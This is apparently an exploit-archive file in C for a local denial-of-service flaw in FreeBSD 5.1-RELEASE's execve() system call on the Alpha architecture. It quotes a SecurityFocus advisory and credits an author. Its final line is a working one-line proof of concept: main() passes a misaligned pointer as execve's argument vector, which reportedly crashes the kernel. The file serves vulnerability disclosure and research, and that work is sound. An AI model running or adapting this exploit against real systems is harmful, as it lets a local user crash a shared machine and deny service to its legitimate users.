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762 B
C
19 lines
No EOL
762 B
C
/*
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source: https://www.securityfocus.com/bid/10596/info
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It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.
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An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.
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FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well.
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*/
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/*
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* FreeBSD/Alpha local DoS
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* by Marceta Milos
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* root@marcetam.net
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*
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*/
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char main() { execve("/bin/ls",(int *)(main + 1), 0); } |